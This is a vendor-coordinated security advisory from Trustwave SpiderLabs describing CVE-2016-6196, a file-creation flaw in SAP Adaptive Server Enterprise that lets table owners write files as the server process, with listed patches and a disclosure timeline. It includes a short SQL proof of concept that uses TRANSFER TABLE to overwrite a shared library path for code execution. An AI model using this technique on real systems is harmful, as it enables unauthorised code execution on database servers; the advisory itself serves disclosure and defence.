Trustwave SpiderLabs Security Advisory TWSL2016-013: Unrestricted File Creation vulnerability in SAP Adaptive Server Enterprise Published: 08/02/2016 Version: 1.0 Vendor: SAP (www.sap.com) Product: Adaptive Server Enterprise Version affected: 15.7, 16.0 Product description: Adaptive Server Enterprise is a relational database management system for UNIX, Linux and Windows. Finding 1: File creation as database process owner via the TRANSFER TABLE statement Credit: Martin Rakhmanov of Trustwave CVE: CVE-2016-6196 This is a variation of previously reported by Trustwave vulnerability (CVE-2013-6864) which is not patched properly: table owners can create files owned by the database server process owner via the TRANSFER TABLE statement: 1> create table t (val binary(10)) 2> go 1> insert into t values (0x00112233445566778899) 2> go (1 row affected) 1> transfer table t to '/opt/sap/shared/ase/SAPJRE-7_1_027_64BIT/lib/amd64/server/hsdis-amd64.so' for bcp 2> go (1 row affected) 1> quit This means users who can execute the TRANSFER TABLE statement can execute code in database server process by creating and loading shared libraries. Table owners can execute TRANSFER TABLE. Remediation Apply one of these following vendor supplied patches: SAP ASE 15.7 SP137 SAP ASE 16.0 SP02 PL04 Revision History: 04/06/2016 - Finding disclosed to vendor (assigned security note: 2329738) 07/12/2016 - Patch released by vendor 08/02/2016 - Advisory published References: 1. https://websmp230.sap-ag.de/sap/support/notes/2329738 2. http://scn.sap.com/docs/DOC-8218 About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.